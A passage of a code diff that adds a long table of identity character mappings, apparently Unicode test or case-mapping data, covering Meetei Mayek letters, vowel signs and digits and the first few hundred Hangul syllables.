+ ["\uABE1", "\uABE1"], /* MEETEI MAYEK LETTER NGOU LONSUM */
+ ["\uABE2", "\uABE2"], /* MEETEI MAYEK LETTER I LONSUM */
+ ["\uABE3", "\uABE3"], /* MEETEI MAYEK VOWEL SIGN ONAP */
+ ["\uABE4", "\uABE4"], /* MEETEI MAYEK VOWEL SIGN INAP */
+ ["\uABE5", "\uABE5"], /* MEETEI MAYEK VOWEL SIGN ANAP */
+ ["\uABE6", "\uABE6"], /* MEETEI MAYEK VOWEL SIGN YENAP */
+ ["\uABE7", "\uABE7"], /* MEETEI MAYEK VOWEL SIGN SOUNAP */
+ ["\uABE8", "\uABE8"], /* MEETEI MAYEK VOWEL SIGN UNAP */
+ ["\uABE9", "\uABE9"], /* MEETEI MAYEK VOWEL SIGN CHEINAP */
+ ["\uABEA", "\uABEA"], /* MEETEI MAYEK VOWEL SIGN NUNG */
+ ["\uABEB", "\uABEB"], /* MEETEI MAYEK CHEIKHEI */
+ ["\uABEC", "\uABEC"], /* MEETEI MAYEK LUM IYEK */
+ ["\uABED", "\uABED"], /* MEETEI MAYEK APUN IYEK */
+ ["\uABEE", "\uABEE"],
+ ["\uABEF", "\uABEF"],
+ ["\uABF0", "\uABF0"], /* MEETEI MAYEK DIGIT ZERO */
+ ["\uABF1", "\uABF1"], /* MEETEI MAYEK DIGIT ONE */
+ ["\uABF2", "\uABF2"], /* MEETEI MAYEK DIGIT TWO */
+ ["\uABF3", "\uABF3"], /* MEETEI MAYEK DIGIT THREE */
+ ["\uABF4", "\uABF4"], /* MEETEI MAYEK DIGIT FOUR */
+ ["\uABF5", "\uABF5"], /* MEETEI MAYEK DIGIT FIVE */
+ ["\uABF6", "\uABF6"], /* MEETEI MAYEK DIGIT SIX */
+ ["\uABF7", "\uABF7"], /* MEETEI MAYEK DIGIT SEVEN */
+ ["\uABF8", "\uABF8"], /* MEETEI MAYEK DIGIT EIGHT */
+ ["\uABF9", "\uABF9"], /* MEETEI MAYEK DIGIT NINE */
+ ["\uABFA", "\uABFA"],
+ ["\uABFB", "\uABFB"],
+ ["\uABFC", "\uABFC"],
+ ["\uABFD", "\uABFD"],
+ ["\uABFE", "\uABFE"],
+ ["\uABFF", "\uABFF"],
+ ["\uAC00", "\uAC00"], /* Hangul Syllable */
+ ["\uAC01", "\uAC01"], /* Hangul Syllable */
+ ["\uAC02", "\uAC02"], /* Hangul Syllable */
+ ["\uAC03", "\uAC03"], /* Hangul Syllable */
+ ["\uAC04", "\uAC04"], /* Hangul Syllable */
+ ["\uAC05", "\uAC05"], /* Hangul Syllable */
+ ["\uAC06", "\uAC06"], /* Hangul Syllable */
+ ["\uAC07", "\uAC07"], /* Hangul Syllable */
+ ["\uAC08", "\uAC08"], /* Hangul Syllable */
+ ["\uAC09", "\uAC09"], /* Hangul Syllable */
+ ["\uAC0A", "\uAC0A"], /* Hangul Syllable */
+ ["\uAC0B", "\uAC0B"], /* Hangul Syllable */
+ ["\uAC0C", "\uAC0C"], /* Hangul Syllable */
+ ["\uAC0D", "\uAC0D"], /* Hangul Syllable */
+ ["\uAC0E", "\uAC0E"], /* Hangul Syllable */
+ ["\uAC0F", "\uAC0F"], /* Hangul Syllable */
+ ["\uAC10", "\uAC10"], /* Hangul Syllable */
+ ["\uAC11", "\uAC11"], /* Hangul Syllable */
+ ["\uAC12", "\uAC12"], /* Hangul Syllable */
+ ["\uAC13", "\uAC13"], /* Hangul Syllable */
+ ["\uAC14", "\uAC14"], /* Hangul Syllable */
+ ["\uAC15", "\uAC15"], /* Hangul Syllable */
+ ["\uAC16", "\uAC16"], /* Hangul Syllable */
+ ["\uAC17", "\uAC17"], /* Hangul Syllable */
+ ["\uAC18", "\uAC18"], /* Hangul Syllable */
+ ["\uAC19", "\uAC19"], /* Hangul Syllable */
+ ["\uAC1A", "\uAC1A"], /* Hangul Syllable */
+ ["\uAC1B", "\uAC1B"], /* Hangul Syllable */
+ ["\uAC1C", "\uAC1C"], /* Hangul Syllable */
+ ["\uAC1D", "\uAC1D"], /* Hangul Syllable */
+ ["\uAC1E", "\uAC1E"], /* Hangul Syllable */
+ ["\uAC1F", "\uAC1F"], /* Hangul Syllable */
+ ["\uAC20", "\uAC20"], /* Hangul Syllable */
+ ["\uAC21", "\uAC21"], /* Hangul Syllable */
+ ["\uAC22", "\uAC22"], /* Hangul Syllable */
+ ["\uAC23", "\uAC23"], /* Hangul Syllable */
+ ["\uAC24", "\uAC24"], /* Hangul Syllable */
+ ["\uAC25", "\uAC25"], /* Hangul Syllable */
+ ["\uAC26", "\uAC26"], /* Hangul Syllable */
+ ["\uAC27", "\uAC27"], /* Hangul Syllable */
+ ["\uAC28", "\uAC28"], /* Hangul Syllable */
+ ["\uAC29", "\uAC29"], /* Hangul Syllable */
+ ["\uAC2A", "\uAC2A"], /* Hangul Syllable */
+ ["\uAC2B", "\uAC2B"], /* Hangul Syllable */
+ ["\uAC2C", "\uAC2C"], /* Hangul Syllable */
+ ["\uAC2D", "\uAC2D"], /* Hangul Syllable */
+ ["\uAC2E", "\uAC2E"], /* Hangul Syllable */
+ ["\uAC2F", "\uAC2F"], /* Hangul Syllable */
+ ["\uAC30", "\uAC30"], /* Hangul Syllable */
+ ["\uAC31", "\uAC31"], /* Hangul Syllable */
+ ["\uAC32", "\uAC32"], /* Hangul Syllable */
+ ["\uAC33", "\uAC33"], /* Hangul Syllable */
+ ["\uAC34", "\uAC34"], /* Hangul Syllable */
+ ["\uAC35", "\uAC35"], /* Hangul Syllable */
+ ["\uAC36", "\uAC36"], /* Hangul Syllable */
+ ["\uAC37", "\uAC37"], /* Hangul Syllable */
+ ["\uAC38", "\uAC38"], /* Hangul Syllable */
+ ["\uAC39", "\uAC39"], /* Hangul Syllable */
+ ["\uAC3A", "\uAC3A"], /* Hangul Syllable */
+ ["\uAC3B", "\uAC3B"], /* Hangul Syllable */
+ ["\uAC3C", "\uAC3C"], /* Hangul Syllable */
+ ["\uAC3D", "\uAC3D"], /* Hangul Syllable */
+ ["\uAC3E", "\uAC3E"], /* Hangul Syllable */
+ ["\uAC3F", "\uAC3F"], /* Hangul Syllable */
+ ["\uAC40", "\uAC40"], /* Hangul Syllable */
+ ["\uAC41", "\uAC41"], /* Hangul Syllable */
+ ["\uAC42", "\uAC42"], /* Hangul Syllable */
+ ["\uAC43", "\uAC43"], /* Hangul Syllable */
+ ["\uAC44", "\uAC44"], /* Hangul Syllable */
+ ["\uAC45", "\uAC45"], /* Hangul Syllable */
+ ["\uAC46", "\uAC46"], /* Hangul Syllable */
+ ["\uAC47", "\uAC47"], /* Hangul Syllable */
+ ["\uAC48", "\uAC48"], /* Hangul Syllable */
+ ["\uAC49", "\uAC49"], /* Hangul Syllable */
+ ["\uAC4A", "\uAC4A"], /* Hangul Syllable */
+ ["\uAC4B", "\uAC4B"], /* Hangul Syllable */
+ ["\uAC4C", "\uAC4C"], /* Hangul Syllable */
+ ["\uAC4D", "\uAC4D"], /* Hangul Syllable */
+ ["\uAC4E", "\uAC4E"], /* Hangul Syllable */
+ ["\uAC4F", "\uAC4F"], /* Hangul Syllable */
+ ["\uAC50", "\uAC50"], /* Hangul Syllable */
+ ["\uAC51", "\uAC51"], /* Hangul Syllable */
+ ["\uAC52", "\uAC52"], /* Hangul Syllable */
+ ["\uAC53", "\uAC53"], /* Hangul Syllable */
+ ["\uAC54", "\uAC54"], /* Hangul Syllable */
+ ["\uAC55", "\uAC55"], /* Hangul Syllable */
+ ["\uAC56", "\uAC56"], /* Hangul Syllable */
+ ["\uAC57", "\uAC57"], /* Hangul Syllable */
+ ["\uAC58", "\uAC58"], /* Hangul Syllable */
+ ["\uAC59", "\uAC59"], /* Hangul Syllable */
+ ["\uAC5A", "\uAC5A"], /* Hangul Syllable */
+ ["\uAC5B", "\uAC5B"], /* Hangul Syllable */
+ ["\uAC5C", "\uAC5C"], /* Hangul Syllable */
+ ["\uAC5D", "\uAC5D"], /* Hangul Syllable */
+ ["\uAC5E", "\uAC5E"], /* Hangul Syllable */
+ ["\uAC5F", "\uAC5F"], /* Hangul Syllable */
+ ["\uAC60", "\uAC60"], /* Hangul Syllable */
+ ["\uAC61", "\uAC61"], /* Hangul Syllable */
+ ["\uAC62", "\uAC62"], /* Hangul Syllable */
+ ["\uAC63", "\uAC63"], /* Hangul Syllable */
+ ["\uAC64", "\uAC64"], /* Hangul Syllable */
+ ["\uAC65", "\uAC65"], /* Hangul Syllable */
+ ["\uAC66", "\uAC66"], /* Hangul Syllable */
+ ["\uAC67", "\uAC67"], /* Hangul Syllable */
+ ["\uAC68", "\uAC68"], /* Hangul Syllable */
+ ["\uAC69", "\uAC69"], /* Hangul Syllable */
+ ["\uAC6A", "\uAC6A"], /* Hangul Syllable */
+ ["\uAC6B", "\uAC6B"], /* Hangul Syllable */
+ ["\uAC6C", "\uAC6C"], /* Hangul Syllable */
+ ["\uAC6D", "\uAC6D"], /* Hangul Syllable */
+ ["\uAC6E", "\uAC6E"], /* Hangul Syllable */
+ ["\uAC6F", "\uAC6F"], /* Hangul Syllable */
+ ["\uAC70", "\uAC70"], /* Hangul Syllable */
+ ["\uAC71", "\uAC71"], /* Hangul Syllable */
+ ["\uAC72", "\uAC72"], /* Hangul Syllable */
+ ["\uAC73", "\uAC73"], /* Hangul Syllable */
+ ["\uAC74", "\uAC74"], /* Hangul Syllable */
+ ["\uAC75", "\uAC75"], /* Hangul Syllable */
+ ["\uAC76", "\uAC76"], /* Hangul Syllable */
+ ["\uAC77", "\uAC77"], /* Hangul Syllable */
+ ["\uAC78", "\uAC78"], /* Hangul Syllable */
+ ["\uAC79", "\uAC79"], /* Hangul Syllable */
+ ["\uAC7A", "\uAC7A"], /* Hangul Syllable */
+ ["\uAC7B", "\uAC7B"], /* Hangul Syllable */
+ ["\uAC7C", "\uAC7C"], /* Hangul Syllable */
+ ["\uAC7D", "\uAC7D"], /* Hangul Syllable */
+ ["\uAC7E", "\uAC7E"], /* Hangul Syllable */
+ ["\uAC7F", "\uAC7F"], /* Hangul Syllable */
+ ["\uAC80", "\uAC80"], /* Hangul Syllable */
+ ["\uAC81", "\uAC81"], /* Hangul Syllable */
+ ["\uAC82", "\uAC82"], /* Hangul Syllable */
+ ["\uAC83", "\uAC83"], /* Hangul Syllable */
+ ["\uAC84", "\uAC84"], /* Hangul Syllable */
+ ["\uAC85", "\uAC85"], /* Hangul Syllable */
+ ["\uAC86", "\uAC86"], /* Hangul Syllable */
+ ["\uAC87", "\uAC87"], /* Hangul Syllable */
+ ["\uAC88", "\uAC88"], /* Hangul Syllable */
+ ["\uAC89", "\uAC89"], /* Hangul Syllable */
+ ["\uAC8A", "\uAC8A"], /* Hangul Syllable */
+ ["\uAC8B", "\uAC8B"], /* Hangul Syllable */
+ ["\uAC8C", "\uAC8C"], /* Hangul Syllable */
+ ["\uAC8D", "\uAC8D"], /* Hangul Syllable */
+ ["\uAC8E", "\uAC8E"], /* Hangul Syllable */
+ ["\uAC8F", "\uAC8F"], /* Hangul Syllable */
+ ["\uAC90", "\uAC90"], /* Hangul Syllable */
+ ["\uAC91", "\uAC91"], /* Hangul Syllable */
+ ["\uAC92", "\uAC92"], /* Hangul Syllable */
+ ["\uAC93", "\uAC93"], /* Hangul Syllable */
+ ["\uAC94", "\uAC94"], /* Hangul Syllable */
+ ["\uAC95", "\uAC95"], /* Hangul Syllable */
+ ["\uAC96", "\uAC96"], /* Hangul Syllable */
+ ["\uAC97", "\uAC97"], /* Hangul Syllable */
+ ["\uAC98", "\uAC98"], /* Hangul Syllable */
+ ["\uAC99", "\uAC99"], /* Hangul Syllable */
+ ["\uAC9A", "\uAC9A"], /* Hangul Syllable */
+ ["\uAC9B", "\uAC9B"], /* Hangul Syllable */
+ ["\uAC9C", "\uAC9C"], /* Hangul Syllable */
+ ["\uAC9D", "\uAC9D"], /* Hangul Syllable */
+ ["\uAC9E", "\uAC9E"], /* Hangul Syllable */
+ ["\uAC9F", "\uAC9F"], /* Hangul Syllable */
+ ["\uACA0", "\uACA0"], /* Hangul Syllable */
+ ["\uACA1", "\uACA1"], /* Hangul Syllable */
+ ["\uACA2", "\uACA2"], /* Hangul Syllable */
+ ["\uACA3", "\uACA3"], /* Hangul Syllable */
+ ["\uACA4", "\uACA4"], /* Hangul Syllable */
+ ["\uACA5", "\uACA5"], /* Hangul Syllable */
+ ["\uACA6", "\uACA6"], /* Hangul Syllable */
+ ["\uACA7", "\uACA7"], /* Hangul Syllable */
+ ["\uACA8", "\uACA8"], /* Hangul Syllable */
+ ["\uACA9", "\uACA9"], /* Hangul Syllable */
+ ["\uACAA", "\uACAA"], /* Hangul Syllable */
+ ["\uACAB", "\uACAB"], /* Hangul Syllable */
+ ["\uACAC", "\uACAC"], /* Hangul Syllable */
+ ["\uACAD", "\uACAD"], /* Hangul Syllable */
+ ["\uACAE", "\uACAE"], /* Hangul Syllable */
+ ["\uACAF", "\uACAF"], /* Hangul Syllable */
+ ["\uACB0", "\uACB0"], /* Hangul Syllable */
+ ["\uACB1", "\uACB1"], /* Hangul Syllable */
+ ["\uACB2", "\uACB2"], /* Hangul Syllable */
+ ["\uACB3", "\uACB3"], /* Hangul Syllable */
+ ["\uACB4", "\uACB4"], /* Hangul Syllable */
+ ["\uACB5", "\uACB5"], /* Hangul Syllable */
+ ["\uACB6", "\uACB6"], /* Hangul Syllable */
+ ["\uACB7", "\uACB7"], /* Hangul Syllable */
+ ["\uACB8", "\uACB8"], /* Hangul Syllable */
+ ["\uACB9", "\uACB9"], /* Hangul Syllable */
+ ["\uACBA", "\uACBA"], /* Hangul Syllable */
+ ["\uACBB", "\uACBB"], /* Hangul Syllable */
+ ["\uACBC", "\uACBC"], /* Hangul Syllable */
+ ["\uACBD", "\uACBD"], /* Hangul Syllable */
+ ["\uACBE", "\uACBE"], /* Hangul Syllable */
+ ["\uACBF", "\uACBF"], /* Hangul Syllable */
+ ["\uACC0", "\uACC0"], /* Hangul Syllable */
+ ["\uACC1", "\uACC1"], /* Hangul Syllable */
+ ["\uACC2", "\uACC2"], /* Hangul Syllable */
+ ["\uACC3", "\uACC3"], /* Hangul Syllable */
+ ["\uACC4", "\uACC4"], /* Hangul Syllable */
+ ["\uACC5", "\uACC5"], /* Hangul Syllable */
+ ["\uACC6", "\uACC6"], /* Hangul Syllable */
+ ["\uACC7", "\uACC7"], /* Hangul Syllable */
+ ["\uACC8", "\uACC8"], /* Hangul Syllable */
+ ["\uACC9", "\uACC9"], /* Hangul Syllable */
+ ["\uACCA", "\uACCA"], /* Hangul Syllable */
+ ["\uACCB", "\uACCB"], /* Hangul Syllable */
+ ["\uACCC", "\uACCC"], /* Hangul Syllable */
+ ["\uACCD", "\uACCD"], /* Hangul Syllable */
+ ["\uACCE", "\uACCE"], /* Hangul Syllable */
+ ["\uACCF", "\uACCF"], /* Hangul Syllable */
+ ["\uACD0", "\uACD0"], /* Hangul Syllable */
+ ["\uACD1", "\uACD1"], /* Hangul Syllable */
+ ["\uACD2", "\uACD2"], /* Hangul Syllable */
+ ["\uACD3", "\uACD3"], /* Hangul Syllable */
+ ["\uACD4", "\uACD4"], /* Hangul Syllable */
+ ["\uACD5", "\uACD5"], /* Hangul Syllable */
+ ["\uACD6", "\uACD6"], /* Hangul Syllable */
+ ["\uACD7", "\uACD7"], /* Hangul Syllable */
+ ["\uACD8", "\uACD8"], /* Hangul Syllable */
+ ["\uACD9", "\uACD9"], /* Hangul Syllable */
+ ["\uACDA", "\uACDA"], /* Hangul Syllable */
+ ["\uACDB", "\uACDB"], /* Hangul Syllable */
+ ["\uACDC", "\uACDC"], /* Hangul Syllable */
+ ["\uACDD", "\uACDD"], /* Hangul Syllable */
+ ["\uACDE", "\uACDE"], /* Hangul Syllable */
+ ["\uACDF", "\uACDF"], /* Hangul Syllable */
+ ["\uACE0", "\uACE0"], /* Hangul Syllable */
+ ["\uACE1", "\uACE1"], /* Hangul Syllable */
+ ["\uACE2", "\uACE2"], /* Hangul Syllable */
+ ["\uACE3", "\uACE3"], /* Hangul Syllable */
+ ["\uACE4", "\uACE4"], /* Hangul Syllable */
+ ["\uACE5", "\uACE5"], /* Hangul Syllable */
+ ["\uACE6", "\uACE6"], /* Hangul Syllable */
+ ["\uACE7", "\uACE7"], /* Hangul Syllable */
+ ["\uACE8", "\uACE8"], /* Hangul Syllable */
+ ["\uACE9", "\uACE9"], /* Hangul Syllable */
+ ["\uACEA", "\uACEA"], /* Hangul Syllable */
+ ["\uACEB", "\uACEB"], /* Hangul Syllable */
+ ["\uACEC", "\uACEC"], /* Hangul Syllable */
+ ["\uACED", "\uACED"], /* Hangul Syllable */
+ ["\uACEE", "\uACEE"], /* Hangul Syllable */
+ ["\uACEF", "\uACEF"], /* Hangul Syllable */
+ ["\uACF0", "\uACF0"], /* Hangul Syllable */
+ ["\uACF1", "\uACF1"], /* Hangul Syllable */
+ ["\uACF2", "\uACF2"], /* Hangul Syllable */
+ ["\uACF3", "\uACF3"], /* Hangul Syllable */
+ ["\uACF4", "\uACF4"], /* Hangul Syllable */
+ ["\uACF5", "\uACF5"], /* Hangul Syllable */
+ ["\uACF6", "\uACF6"], /* Hangul Syllable */
+ ["\uACF7", "\uACF7"], /* Hangul Syllable */
+ ["\uACF8", "\uACF8"], /* Hangul Syllable */
+ ["\uACF9", "\uACF9"], /* Hangul Syllable */
+ ["\uACFA", "\uACFA"], /* Hangul Syllable */
+ ["\uACFB", "\uACFB"], /* Hangul Syllable */
+ ["\uACFC", "\uACFC"], /* Hangul Syllable */
+ ["\uACFD", "\uACFD"], /* Hangul Syllable */
+ ["\uACFE", "\uACFE"], /* Hangul Syllable */
+ ["\uACFF", "\uACFF"], /* Hangul Syllable */
+ ["\uAD00", "\uAD00"], /* Hangul Syllable */
+ ["\uAD01", "\uAD01"], /* Hangul Syllable */
+ ["\uAD02", "\uAD02"], /* Hangul Syllable */
+ ["\uAD03", "\uAD03"], /* Hangul Syllable */
+ ["\uAD04", "\uAD04"], /* Hangul Syllable */
+ ["\uAD05", "\uAD05"], /* Hangul Syllable */
+ ["\uAD06", "\uAD06"], /* Hangul Syllable */
+ ["\uAD07", "\uAD07"], /* Hangul Syllable */
+ ["\uAD08", "\uAD08"], /* Hangul Syllable */
+ ["\uAD09", "\uAD09"], /* Hangul Syllable */
+ ["\uAD0A", "\uAD0A"], /* Hangul Syllable */
+ ["\uAD0B", "\uAD0B"], /* Hangul Syllable */
+ ["\uAD0C", "\uAD0C"], /* Hangul Syllable */
+ ["\uAD0D", "\uAD0D"], /* Hangul Syllable */
+ ["\uAD0E", "\uAD0E"], /* Hangul Syllable */
+ ["\uAD0F", "\uAD0F"], /* Hangul Syllable */
+ ["\uAD10", "\uAD10"], /* Hangul Syllable */
+ ["\uAD11", "\uAD11"], /* Hangul Syllable */
+ ["\uAD12", "\uAD12"], /* Hangul Syllable */
+ ["\uAD13", "\uAD13"], /* Hangul Syllable */
+ ["\uAD14", "\uAD14"], /* Hangul Syllable */
+ ["\uAD15", "\uAD15"], /* Hangul Syllable */
+ ["\uAD16", "\uAD16"], /* Hangul Syllable */
+ ["\uAD17", "\uAD17"], /* Hangul Syllable */
+ ["\uAD18", "\uAD18"], /* Hangul Syllable */
+ ["\uAD19", "\uAD19"], /* Hangul Syllable */
+ ["\uAD1A", "\uAD1A"], /* Hangul Syllable */
+ ["\uAD1B", "\uAD1B"], /* Hangul Syllable */
+ ["\uAD1C", "\uAD1C"], /* Hangul Syllable */
+ ["\uAD1D", "\uAD1D"], /* Hangul Syllable */
+ ["\uAD1E", "\uAD1E"], /* Hangul Syllable */
+ ["\uAD1F", "\uAD1F"], /* Hangul Syllable */
+ ["\uAD20", "\uAD20"], /* Hangul Syllable */
+ ["\uAD21", "\uAD21"], /* Hangul Syllable */
+ ["\uAD22", "\uAD22"], /* Hangul Syllable */
+ ["\uAD23", "\uAD23"], /* Hangul Syllable */
+ ["\uAD24", "\uAD24"], /* Hangul Syllable */
+ ["\uAD25", "\uAD25"], /* Hangul Syllable */
+ ["\uAD26", "\uAD26"], /* Hangul Syllable */
+ ["\uAD27", "\uAD27"], /* Hangul Syllable */
+ ["\uAD28", "\uAD28"], /* Hangul Syllable */
+ ["\uAD29", "\uAD29"], /* Hangul Syllable */
+ ["\uAD2A", "\uAD2A"], /* Hangul Syllable */
+ ["\uAD2B", "\uAD2B"], /* Hangul Syllable */
+ ["\uAD2C", "\uAD2C"], /* Hangul Syllable */
+ ["\uAD2D", "\uAD2D"], /* Hangul Syllable */
+ ["\uAD2E", "\uAD2E"], /* Hangul Syllable */
+ ["\uAD2F", "\uAD2F"], /* Hangul Syllable */
+ ["\uAD30", "\uAD30"], /* Hangul Syllable */
+ ["\uAD31", "\uAD31"], /* Hangul Syllable */
+ ["\uAD32", "\uAD32"], /* Hangul Syllable */
+ ["\uAD33", "\uAD33"], /* Hangul Syllable */
+ ["\uAD34", "\uAD34"], /* Hangul Syllable */
+ ["\uAD35", "\uAD35"], /* Hangul Syllable */
+ ["\uAD36", "\uAD36"], /* Hangul Syllable */
+ ["\uAD37", "\uAD37"], /* Hangul Syllable */
+ ["\uAD38", "\uAD38"], /* Hangul Syllable */
+ ["\uAD39", "\uAD39"], /* Hangul Syllable */
+ ["\uAD3A", "\uAD3A"], /* Hangul Syllable */
+ ["\uAD3B", "\uAD3B"], /* Hangul Syllable */
+ ["\uAD3C", "\uAD3C"], /* Hangul Syllable */
+ ["\uAD3D", "\uAD3D"], /* Hangul Syllable */
+ ["\uAD3E", "\uAD3E"], /* Hangul Syllable */
+ ["\uAD3F", "\uAD3F"], /* Hangul Syllable */
+ ["\uAD40", "\uAD40"], /* Hangul Syllable */
+ ["\uAD41", "\uAD41"], /* Hangul Syllable */
+ ["\uAD42", "\uAD42"], /* Hangul Syllable */
+ ["\uAD43", "\uAD43"], /* Hangul Syllable */
+ ["\uAD44", "\uAD44"], /* Hangul Syllable */
+ ["\uAD45", "\uAD45"], /* Hangul Syllable */
+ ["\uAD46", "\uAD46"], /* Hangul Syllable */
+ ["\uAD47", "\uAD47"], /* Hangul Syllable */
+ ["\uAD48", "\uAD48"], /* Hangul Syllable */
+ ["\uAD49", "\uAD49"], /* Hangul Syllable */
+ ["\uAD4A", "\uAD4A"], /* Hangul Syllable */
+ ["\uAD4B", "\uAD4B"], /* Hangul Syllable */
+ ["\uAD4C", "\uAD4C"], /* Hangul Syllable */
+ ["\uAD4D", "\uAD4D"], /* Hangul Syllable */
+ ["\uAD4E", "\uAD4E"], /* Hangul Syllable */
+ ["\uAD4F", "\uAD4F"], /* Hangul Syllable */
+ ["\uAD50", "\uAD50"], /* Hangul Syllable */
+ ["\uAD51", "\uAD51"], /* Hangul Syllable */
+ ["\uAD52", "\uAD52"], /* Hangul Syllable */
+ ["\uAD53", "\uAD53"], /* Hangul Syllable */
+ ["\uAD54", "\uAD54"], /* Hangul Syllable */
+ ["\uAD55", "\uAD55"], /* Hangul Syllable */
+ ["\uAD56", "\uAD56"], /* Hangul Syllable */
+ ["\uAD57", "\uAD57"], /* Hangul Syllable */
+ ["\uAD58", "\uAD58"], /* Hangul Syllable */
+ ["\uAD59", "\uAD59"], /* Hangul Syllable */
+ ["\uAD5A", "\uAD5A"], /* Hangul Syllable */
+ ["\uAD5B", "\uAD5B"], /* Hangul Syllable */
+ ["\uAD5C", "\uAD5C"], /* Hangul Syllable */
+ ["\uAD5D", "\uAD5D"], /* Hangul Syllable */
+ ["\uAD5E", "\uAD5E"], /* Hangul Syllable */
+ ["\uAD5F", "\uAD5F"], /* Hangul Syllable */
+ ["\uAD60", "\uAD60"], /* Hangul Syllable */
+ ["\uAD61", "\uAD61"], /* Hangul Syllable */
+ ["\uAD62", "\uAD62"], /* Hangul Syllable */
+ ["\uAD63", "\uAD63"], /* Hangul Syllable */
+ ["\uAD64", "\uAD64"], /* Hangul Syllable */
+ ["\uAD65", "\uAD65"], /* Hangul Syllable */
+ ["\uAD66", "\uAD66"], /* Hangul Syllable */
+ ["\uAD67", "\uAD67"], /* Hangul Syllable */
+ ["\uAD68", "\uAD68"], /* Hangul Syllable */
+ ["\uAD69", "\uAD69"], /* Hangul Syllable */
+ ["\uAD6A", "\uAD6A"], /* Hangul Syllable */
+ ["\uAD6B", "\uAD6B"], /* Hangul Syllable */
+ ["\uAD6C", "\uAD6C"], /* Hangul Syllable */
+ ["\uAD6D", "\uAD6D"], /* Hangul Syllable */
+ ["\uAD6E", "\uAD6E"], /* Hangul Syllable */
+ ["\uAD6F", "\uAD6F"], /* Hangul Syllable */
+ ["\uAD70", "\uAD70"], /* Hangul Syllable */
+ ["\uAD71", "\uAD71"], /* Hangul Syllable */
+ ["\uAD72", "\uAD72"], /* Hangul Syllable */
+ ["\uAD73", "\uAD73"], /* Hangul Syllable */
+ ["\uAD74", "\uAD74"], /* Hangul Syllable */
+ ["\uAD75", "\uAD75"], /* Hangul Syllable */
+ ["\uAD76", "\uAD76"], /* Hangul Syllable */
+ ["\uAD77", "\uAD77"], /* Hangul Syllable */
+ ["\uAD78", "\uAD78"], /* Hangul Syllable */
+ ["\uAD79", "\uAD79"], /* Hangul Syllable */
+ ["\uAD7A", "\uAD7A"], /* Hangul Syllable */
+ ["\uAD7B", "\uAD7B"], /* Hangul Syllable */
+ ["\uAD7C", "\uAD7C"], /* Hangul Syllable */
+ ["\uAD7D", "\uAD7D"], /* Hangul Syllable */
+ ["\uAD7E", "\uAD7E"], /* Hangul Syllable */
+ ["\uAD7F", "\uAD7F"], /* Hangul Syllable */
+ ["\uAD80", "\uAD80"], /* Hangul Syllable */
+ ["\uAD81", "\uAD81"], /* Hangul Syllable */
+ ["\uAD82", "\uAD82"], /* Hangul Syllable */
+ ["\uAD83", "\uAD83"], /* Hangul Syllable */
+ ["\uAD84", "\uAD84"], /* Hangul Syllable */
+ ["\uAD85", "\uAD85"], /* Hangul Syllable */
+ ["\uAD86", "\uAD86"], /* Hangul Syllable */
+ ["\uAD87", "\uAD87"], /* Hangul Syllable */
+ ["\uAD88", "\uAD88"], /* Hangul Syllable */
+ ["\uAD89", "\uAD89"], /* Hangul Syllable */
+ ["\uAD8A", "\uAD8A"], /* Hangul Syllable */
+ ["\uAD8B", "\uAD8B"], /* Hangul Syllable */
+ ["\uAD8C", "\uAD8C"], /* Hangul Syllable */
+ ["\uAD8D", "\uAD8D"], /* Hangul Syllable */
+ ["\uAD8E", "\uAD8E"], /* Hangul Syllable */
+ ["\uAD8F", "\uAD8F"], /* Hangul Syllable */
+ ["\uAD90", "\uAD90"], /* Hangul Syllable */
+ ["\uAD91", "\uAD91"], /* Hangul Syllable */
+ ["\uAD92", "\uAD92"], /* Hangul Syllable */
+ ["\uAD93", "\uAD93"], /* Hangul Syllable */
+ ["\uAD94", "\uAD94"], /* Hangul Syllable */
+ ["\uAD95", "\uAD95"], /* Hangul Syllable */
+ ["\uAD96", "\uAD96"], /* Hangul Syllable */
+ ["\uAD97", "\uAD97"], /* Hangul Syllable */
+ ["\uAD98", "\uAD98"], /* Hangul Syllable */
+ ["\uAD99", "\uAD99"], /* Hangul Syllable */
+ ["\uAD9A", "\uAD9A"], /* Hangul Syllable */
+ ["\uAD9B", "\uAD9B"], /* Hangul Syllable */
+ ["\uAD9C", "\uAD9C"], /* Hangul Syllable */
+ ["\uAD9D", "\uAD9D"], /* Hangul Syllable */
+ ["\uAD9E", "\uAD9E"], /* Hangul Syllable */
+ ["\uAD9F", "\uAD9F"], /* Hangul Syllable */
+ ["\uADA0", "\uADA0"], /* Hangul Syllable */
+ ["\uADA1", "\uADA1"], /* Hangul Syllable */
+ ["\uADA2", "\uADA2"], /* Hangul Syllable */
+ ["\uADA3", "\uADA3"], /* Hangul Syllable */
+ ["\uADA4", "\uADA4"], /* Hangul Syllable */
+ ["\uADA5", "\uADA5"], /* Hangul Syllable */
+ ["\uADA6", "\uADA6"], /* Hangul Syllable */
+ ["\uADA7", "\uADA7"], /* Hangul Syllable */
+ ["\uADA8", "\uADA8"], /* Hangul Syllable */
+ ["\uADA9", "\uADA9"], /* Hangul Syllable */
+ ["\uADAA", "\uADAA"], /* Hangul Syllable */
+ ["\uADAB", "\uADAB"], /* Hangul Syllable */
+ ["\uADAC", "\uADAC"], /* Hangul Syllable */
+ ["\uADAD", "\uADAD"], /* Hangul Syllable */
+ ["\uADAE", "\uADAE"], /* Hangul Syllable */
+ ["\uADAF", "\uADAF"], /* Hangul Syllable */
+ ["\uADB0", "\uADB0"], /* Hangul Syllable */
+ ["\uADB1", "\uADB1"], /* Hangul Syllable */
+ ["\uADB2", "\uADB2"], /* Hangul Syllable */
+ ["\uADB3", "\uADB3"], /* Hangul Syllable */
+ ["\uADB4", "\uADB4"], /* Hangul Syllable */
+ ["\uADB5", "\uADB5"], /* Hangul Syllable */
+ ["\uADB6", "\uADB6"], /* Hangul Syllable */
+ ["\uADB7", "\uADB7"], /* Hangul Syllable */
+ ["\uADB8", "\uADB8"], /* Hangul Syllable */
+ ["\uADB9", "\uADB9"], /* Hangul Syllable */
+ ["\uADBA", "\uADBA"], /* Hangul Syllable */
+ ["\uADBB", "\uADBB"], /* Hangul Syllable */
+ ["\uADBC", "\uADBC"], /* Hangul Syllable */
+ ["\uADBD", "\uADBD"], /* Hangul Syllable */
+ ["\uADBE", "\uADBE"], /* Hangul Syllable */
+ ["\uADBF", "\uADBF"], /* Hangul Syllable */
+ ["\uADC0", "\uADC0"], /* Hangul Syllable */
+ ["\uADC1", "\uADC1"], /* Hangul Syllable */
+ ["\uADC2", "\uADC2"], /* Hangul Syllable */
+ ["\uADC3", "\uADC3"], /* Hangul Syllable */
+ ["\uADC4", "\uADC4"], /* Hangul Syllable */
+ ["\uADC5", "\uADC5"], /* Hangul Syllable */
